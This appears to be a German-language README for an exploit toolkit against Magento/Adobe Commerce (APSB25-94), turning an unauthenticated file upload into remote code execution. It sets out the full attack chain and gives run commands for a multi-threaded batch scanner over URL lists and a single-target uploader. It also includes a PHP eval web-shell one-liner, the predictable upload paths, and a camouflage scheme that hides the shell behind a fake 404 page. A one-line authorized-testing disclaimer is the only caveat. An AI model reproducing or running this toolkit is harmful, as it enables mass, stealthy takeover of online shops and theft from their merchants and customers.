Magento APSB25-94 — Nicht authentifizierter Datei-Upload zu RCE

Übersicht

Nutzt nicht authentifizierten Datei-Upload in Magento / Adobe Commerce über REST API Gast-Warenkorb custom_options Datei-Upload aus.

Angriffskette

1. GraphQL → leak product SKU
2. REST API → create guest cart
3. REST API → upload PNG polyshell via custom_options file_info
4. HTTP GET → access .php at predictable path
5. PHP exec → RCE

Werkzeuge

magento_godzilla.py — Batch-Scanner

Zweiphasiger Upload: Testdatei (WAF-sicher) + eval-Shell (404-Tarnung).

pip install requests
python magento_godzilla.py -f urls.txt -t 20 -o results.txt

Ausgabe: RCE_CONFIRMED, SHELL_KILLED, PROBE_ONLY

magento_upload.py — Einzelziel-Upload

python magento_upload.py -u https://target.com -f godzilla.php
python magento_upload.py -u https://target.com -c '<?php eval($_POST[1]);?>'
python magento_upload.py -u https://target.com -f shell.php --raw

Upload-Pfade

/pub/media/custom_options/quote/{c1}/{c2}/{filename}
/media/custom_options/quote/{c1}/{c2}/{filename}

Shell-Tarnung

GET gibt eine gefälschte 404 zurück (HTTP 200 + "Not Found" Body). POST mit Passwort-Parameter führt Code aus.

Haftungsausschluss

Nur für autorisierte Sicherheitstests.